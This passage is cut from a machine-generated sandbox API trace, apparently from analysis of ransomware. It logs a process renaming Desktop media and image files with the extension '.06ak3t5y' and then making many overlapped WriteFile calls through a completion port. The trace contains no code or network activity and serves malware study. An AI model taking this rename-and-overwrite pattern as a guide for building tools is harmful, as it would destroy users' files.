BaseAddress=0x30a82f0) returned 1 [0110.802] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20698a0) returned 1 [0110.802] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38b6cf0) returned 1 [0110.802] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.802] CloseHandle (hObject=0x260) returned 1 [0110.804] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe8) returned 0x20ab750 [0110.804] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aUK1ww_cNSEBhOhvD.m4a" (normalized: "c:\\users\\keecfmwgj\\desktop\\auk1ww_cnsebhohvd.m4a"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\aUK1ww_cNSEBhOhvD.m4a.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\auk1ww_cnsebhohvd.m4a.06ak3t5y")) returned 1 [0110.807] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0110.807] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30ee350) returned 1 [0110.807] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38cdc20) returned 1 [0110.807] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.808] CloseHandle (hObject=0x264) returned 1 [0110.810] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xe4) returned 0x20ab750 [0110.810] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\BbBC VRWj6z_JPv.gif" (normalized: "c:\\users\\keecfmwgj\\desktop\\bbbc vrwj6z_jpv.gif"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\BbBC VRWj6z_JPv.gif.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\bbbc vrwj6z_jpv.gif.06ak3t5y")) returned 1 [0110.812] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20ab750) returned 1 [0110.812] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2068120) returned 1 [0110.812] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38e19e0) returned 1 [0110.812] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.812] CloseHandle (hObject=0x25c) returned 1 [0110.814] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xd6) returned 0x30a82f0 [0110.814] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\bs2mYfOv.flv" (normalized: "c:\\users\\keecfmwgj\\desktop\\bs2myfov.flv"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\bs2mYfOv.flv.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\bs2myfov.flv.06ak3t5y")) returned 1 [0110.815] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x30a82f0) returned 1 [0110.815] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2069900) returned 1 [0110.816] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38f2f10) returned 1 [0110.816] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0110.816] CloseHandle (hObject=0x258) returned 1 [0110.836] RtlAllocateHeap (HeapHandle=0x1fb0000, Flags=0x8, Size=0xda) returned 0x2070c20 [0110.836] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\GfJmj4jFVi.png" (normalized: "c:\\users\\keecfmwgj\\desktop\\gfjmj4jfvi.png"), lpNewFileName="\\\\?\\C:\\Users\\kEecfMwgj\\Desktop\\GfJmj4jFVi.png.06ak3t5y" (normalized: "c:\\users\\keecfmwgj\\desktop\\gfjmj4jfvi.png.06ak3t5y")) returned 1 [0110.985] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x2070c20) returned 1 [0110.985] RtlFreeHeap (HeapHandle=0x1fb0000, Flags=0x0, BaseAddress=0x20860f8) returned 1 [0110.985] RtlFreeHeap (HeapHandle=0x3880000, Flags=0x0, BaseAddress=0x38f9e70) returned 1 [0110.985] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.144] WriteFile (in: hFile=0x2a4, lpBuffer=0x397e7f8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e7d0 | out: lpBuffer=0x397e7f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397e7d0) returned 0x0 [0111.144] RtlGetLastWin32Error () returned 0x3e5 [0111.144] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.145] WriteFile (in: hFile=0x2f8, lpBuffer=0x3932250, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3932228 | out: lpBuffer=0x3932250, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3932228) returned 0x0 [0111.145] RtlGetLastWin32Error () returned 0x3e5 [0111.145] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.145] WriteFile (in: hFile=0x2f4, lpBuffer=0x39447f0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39447c8 | out: lpBuffer=0x39447f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39447c8) returned 0x0 [0111.146] RtlGetLastWin32Error () returned 0x3e5 [0111.146] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.146] WriteFile (in: hFile=0x2fc, lpBuffer=0x3953f30, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3953f08 | out: lpBuffer=0x3953f30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3953f08) returned 0x0 [0111.147] RtlGetLastWin32Error () returned 0x3e5 [0111.147] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.147] WriteFile (in: hFile=0x300, lpBuffer=0x39697c0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3969798 | out: lpBuffer=0x39697c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3969798) returned 0x0 [0111.147] RtlGetLastWin32Error () returned 0x3e5 [0111.148] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.148] WriteFile (in: hFile=0x304, lpBuffer=0x44a0070, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44a0048 | out: lpBuffer=0x44a0070, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44a0048) returned 0x0 [0111.148] RtlGetLastWin32Error () returned 0x3e5 [0111.148] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.149] WriteFile (in: hFile=0x308, lpBuffer=0x396aa30, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x396aa08 | out: lpBuffer=0x396aa30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x396aa08) returned 0x0 [0111.149] RtlGetLastWin32Error () returned 0x3e5 [0111.149] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.149] WriteFile (in: hFile=0x30c, lpBuffer=0x44b7960, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44b7938 | out: lpBuffer=0x44b7960, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44b7938) returned 0x0 [0111.150] RtlGetLastWin32Error () returned 0x3e5 [0111.150] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.150] WriteFile (in: hFile=0x310, lpBuffer=0x39713f8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39713d0 | out: lpBuffer=0x39713f8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x39713d0) returned 0x0 [0111.151] RtlGetLastWin32Error () returned 0x3e5 [0111.151] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.151] WriteFile (in: hFile=0x314, lpBuffer=0x44c55c8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44c55a0 | out: lpBuffer=0x44c55c8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44c55a0) returned 0x0 [0111.152] RtlGetLastWin32Error () returned 0x3e5 [0111.152] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.152] WriteFile (in: hFile=0x318, lpBuffer=0x44d1ad0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44d1aa8 | out: lpBuffer=0x44d1ad0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44d1aa8) returned 0x0 [0111.152] RtlGetLastWin32Error () returned 0x3e5 [0111.152] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.153] WriteFile (in: hFile=0x31c, lpBuffer=0x44dcb30, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44dcb08 | out: lpBuffer=0x44dcb30, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44dcb08) returned 0x0 [0111.153] RtlGetLastWin32Error () returned 0x3e5 [0111.153] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.154] WriteFile (in: hFile=0x320, lpBuffer=0x38805b8, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590 | out: lpBuffer=0x38805b8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3880590) returned 0x0 [0111.154] RtlGetLastWin32Error () returned 0x3e5 [0111.155] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.155] WriteFile (in: hFile=0x324, lpBuffer=0x3975988, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3975960 | out: lpBuffer=0x3975988, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3975960) returned 0x0 [0111.155] RtlGetLastWin32Error () returned 0x3e5 [0111.155] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.156] WriteFile (in: hFile=0x328, lpBuffer=0x44e9478, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44e9450 | out: lpBuffer=0x44e9478, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44e9450) returned 0x0 [0111.156] RtlGetLastWin32Error () returned 0x3e5 [0111.156] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.157] WriteFile (in: hFile=0x26c, lpBuffer=0x454e7a0, nNumberOfBytesToWrite=0x136e3, lpNumberOfBytesWritten=0x0, lpOverlapped=0x454e650 | out: lpBuffer=0x454e7a0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x454e650) returned 0x0 [0111.157] RtlGetLastWin32Error () returned 0x3e5 [0111.158] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.159] WriteFile (in: hFile=0x274, lpBuffer=0x3890bc8, nNumberOfBytesToWrite=0x136cc, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3890a78 | out: lpBuffer=0x3890bc8, lpNumberOfBytesWritten=0x0, lpOverlapped=0x3890a78) returned 0x0 [0111.159] RtlGetLastWin32Error () returned 0x3e5 [0111.159] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.160] WriteFile (in: hFile=0x27c, lpBuffer=0x38a43f0, nNumberOfBytesToWrite=0x72cd, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38a42a0 | out: lpBuffer=0x38a43f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38a42a0) returned 0x0 [0111.160] RtlGetLastWin32Error () returned 0x3e5 [0111.160] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.162] WriteFile (in: hFile=0x278, lpBuffer=0x4561fe0, nNumberOfBytesToWrite=0x16486, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4561e90 | out: lpBuffer=0x4561fe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4561e90) returned 0x0 [0111.162] RtlGetLastWin32Error () returned 0x3e5 [0111.162] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.163] WriteFile (in: hFile=0x254, lpBuffer=0x45785c0, nNumberOfBytesToWrite=0x9e80, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4578470 | out: lpBuffer=0x45785c0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4578470) returned 0x0 [0111.163] RtlGetLastWin32Error () returned 0x3e5 [0111.164] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.164] WriteFile (in: hFile=0x34c, lpBuffer=0x4582598, nNumberOfBytesToWrite=0xf460, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4582448 | out: lpBuffer=0x4582598, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4582448) returned 0x0 [0111.165] RtlGetLastWin32Error () returned 0x3e5 [0111.165] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.166] WriteFile (in: hFile=0x350, lpBuffer=0x45a0198, nNumberOfBytesToWrite=0x12d09, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45a0048 | out: lpBuffer=0x45a0198, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45a0048) returned 0x0 [0111.166] RtlGetLastWin32Error () returned 0x3e5 [0111.166] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.167] WriteFile (in: hFile=0x354, lpBuffer=0x4591b50, nNumberOfBytesToWrite=0x4b99, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4591a00 | out: lpBuffer=0x4591b50, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4591a00) returned 0x0 [0111.167] RtlGetLastWin32Error () returned 0x3e5 [0111.167] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.168] WriteFile (in: hFile=0x358, lpBuffer=0x397a4f0, nNumberOfBytesToWrite=0x2892, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397a3a0 | out: lpBuffer=0x397a4f0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397a3a0) returned 0x0 [0111.168] RtlGetLastWin32Error () returned 0x3e5 [0111.168] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.168] WriteFile (in: hFile=0x35c, lpBuffer=0x4596848, nNumberOfBytesToWrite=0x2ae7, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45966f8 | out: lpBuffer=0x4596848, lpNumberOfBytesWritten=0x0, lpOverlapped=0x45966f8) returned 0x0 [0111.169] RtlGetLastWin32Error () returned 0x3e5 [0111.169] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.169] WriteFile (in: hFile=0x32c, lpBuffer=0x44f6f28, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44f6f00 | out: lpBuffer=0x44f6f28, lpNumberOfBytesWritten=0x0, lpOverlapped=0x44f6f00) returned 0x0 [0111.169] RtlGetLastWin32Error () returned 0x3e5 [0111.169] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.170] WriteFile (in: hFile=0x330, lpBuffer=0x450b868, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x450b840 | out: lpBuffer=0x450b868, lpNumberOfBytesWritten=0x0, lpOverlapped=0x450b840) returned 0x0 [0111.170] RtlGetLastWin32Error () returned 0x3e5 [0111.170] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.170] WriteFile (in: hFile=0x334, lpBuffer=0x388d6d0, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388d6a8 | out: lpBuffer=0x388d6d0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388d6a8) returned 0x0 [0111.171] RtlGetLastWin32Error () returned 0x3e5 [0111.171] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.171] WriteFile (in: hFile=0x338, lpBuffer=0x388f888, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388f860 | out: lpBuffer=0x388f888, lpNumberOfBytesWritten=0x0, lpOverlapped=0x388f860) returned 0x0 [0111.171] RtlGetLastWin32Error () returned 0x3e5 [0111.172] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.172] WriteFile (in: hFile=0x33c, lpBuffer=0x451eb68, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x451eb40 | out: lpBuffer=0x451eb68, lpNumberOfBytesWritten=0x0, lpOverlapped=0x451eb40) returned 0x0 [0111.172] RtlGetLastWin32Error () returned 0x3e5 [0111.172] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.173] WriteFile (in: hFile=0x340, lpBuffer=0x4532090, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4532068 | out: lpBuffer=0x4532090, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4532068) returned 0x0 [0111.173] RtlGetLastWin32Error () returned 0x3e5 [0111.173] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.173] WriteFile (in: hFile=0x344, lpBuffer=0x4534378, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4534350 | out: lpBuffer=0x4534378, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4534350) returned 0x0 [0111.173] RtlGetLastWin32Error () returned 0x3e5 [0111.174] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.174] WriteFile (in: hFile=0x348, lpBuffer=0x4542170, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4542148 | out: lpBuffer=0x4542170, lpNumberOfBytesWritten=0x0, lpOverlapped=0x4542148) returned 0x0 [0111.174] RtlGetLastWin32Error () returned 0x3e5 [0111.174] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.174] WriteFile (in: hFile=0x258, lpBuffer=0x397cee0, nNumberOfBytesToWrite=0x13b1, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397cd90 | out: lpBuffer=0x397cee0, lpNumberOfBytesWritten=0x0, lpOverlapped=0x397cd90) returned 0x0 [0111.175] RtlGetLastWin32Error () returned 0x3e5 [0111.175] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.183] WriteFile (in: hFile=0x25c, lpBuffer=0x38ab818, nNumberOfBytesToWrite=0x18d05, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38ab6c8 | out: lpBuffer=0x38ab818, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38ab6c8) returned 0x0 [0111.184] RtlGetLastWin32Error () returned 0x3e5 [0111.184] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84) returned 1 [0111.184] WriteFile (in: hFile=0x264, lpBuffer=0x38c4678, nNumberOfBytesToWrite=0xe81a, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38c4528 | out: lpBuffer=0x38c4678, lpNumberOfBytesWritten=0x0, lpOverlapped=0x38c4528) returned 0x0 [0111.185] RtlGetLastWin32Error () returned 0x3e5 [0111.185] GetQueuedCompletionStatus (in: CompletionPort=0x220, lpNumberOfBytesTransferred=0x439ff80, lpCompletionKey=0x439ff7c, lpOverlapped=0x439ff84, 